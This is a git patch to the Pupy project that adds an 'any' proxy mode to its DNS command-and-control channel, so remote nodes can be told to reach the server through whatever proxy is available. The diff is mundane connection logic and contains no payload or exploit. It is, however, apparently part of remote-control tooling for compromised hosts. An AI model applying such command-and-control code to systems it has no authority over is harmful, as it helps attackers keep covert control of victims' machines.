From ad553860c137e03106c240787977c76a0389c4cd Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk <ol.shevchuk@samsung.com>
Date: Wed, 26 Apr 2017 19:05:49 +0300
Subject: [PATCH] Improve DNSCNC command to explicitly use proxy when specified

---
 pupy/network/lib/launchers/dnscnc.py | 8 +++++++-
 pupy/network/lib/picocmd/client.py   | 2 ++
 pupy/network/lib/picocmd/picocmd.py  | 4 +++-
 pupy/pupylib/PupyDnsCnc.py           | 7 ++++++-
 4 files changed, 18 insertions(+), 3 deletions(-)

diff --git a/pupy/network/lib/launchers/dnscnc.py b/pupy/network/lib/launchers/dnscnc.py
index 925e3a5d..53bd8c86 100644
--- a/pupy/network/lib/launchers/dnscnc.py
+++ b/pupy/network/lib/launchers/dnscnc.py
@@ -168,6 +168,8 @@ class DNSCncLauncher(BaseLauncher):
 
     def try_connect_via_proxy(self, command):
         _, host, port, transport, connection_proxy = command
+        if connection_proxy is True:
+            connection_proxy = None
 
         for proxy_type, proxy, proxy_username, proxy_password in get_proxies(
                additional_proxies=[connection_proxy] if connection_proxy else None
@@ -250,7 +252,11 @@ class DNSCncLauncher(BaseLauncher):
                 logging.debug('processing connection command')
 
                 with dnscnc.lock:
-                    stream = self.try_direct_connect(command)
+                    if command[4]:
+                        stream = None
+                    else:
+                        stream = self.try_direct_connect(command)
+
                     if not stream:
                         for stream in self.try_connect_via_proxy(command):
                             if stream:
diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py
index 4cd201a1..2b567b11 100644
--- a/pupy/network/lib/picocmd/client.py
+++ b/pupy/network/lib/picocmd/client.py
@@ -287,6 +287,8 @@ class DnsCommandsClient(Thread):
     def on_set_proxy(self, scheme, ip, port, user, password):
         if not scheme or scheme.lower() == 'none':
             self.proxy = None
+        elif scheme.lower() == 'any':
+            self.proxy = True
         else:
             if user and password:
                 auth = '{}:{}@'.format(user, password)
diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py
index 26e5ac6b..04236a38 100644
--- a/pupy/network/lib/picocmd/picocmd.py
+++ b/pupy/network/lib/picocmd/picocmd.py
@@ -400,7 +400,7 @@ class SystemInfo(Command):
 
 class SetProxy(Command):
     well_known_proxy_schemes_decode = dict(enumerate([
-        'none', 'socks4', 'socks5', 'http'
+        'none', 'socks4', 'socks5', 'http', 'any'
     ], 1))
 
     well_known_proxy_schemes_encode = {
@@ -454,6 +454,8 @@ class SetProxy(Command):
     def __repr__(self):
         if self.scheme == 'none':
             return '{{PROXY: DISABLED}}'
+        elif self.scheme == 'any':
+            return '{{PROXY: ENABLED}}'
 
         if self.user and self.password:
             auth = '{}:{}@'.format(self.user, self.password)
diff --git a/pupy/pupylib/PupyDnsCnc.py b/pupy/pupylib/PupyDnsCnc.py
index 901f7655..ed7a0376 100644
--- a/pupy/pupylib/PupyDnsCnc.py
+++ b/pupy/pupylib/PupyDnsCnc.py
@@ -52,11 +52,16 @@ class PupyDnsCommandServerHandler(DnsCommandServerHandler):
         return self.add_command(Exit(), session=node, default=default)
 
     def proxy(self, uri, node=None, default=False):
-        if not uri or uri == 'none':
+        if not uri or uri.lower() in ('none', 'off', 'no', 'disable'):
             return self.add_command(
                 SetProxy('none', '0.0.0.0', 0),
                 session=node, default=default
             )
+        elif uri.lower() in ('on', 'enable', 'yes'):
+            return self.add_command(
+                SetProxy('any', '0.0.0.0', 0),
+                session=node, default=default
+            )
 
         if not '://' in uri:
             uri = 'http://' + uri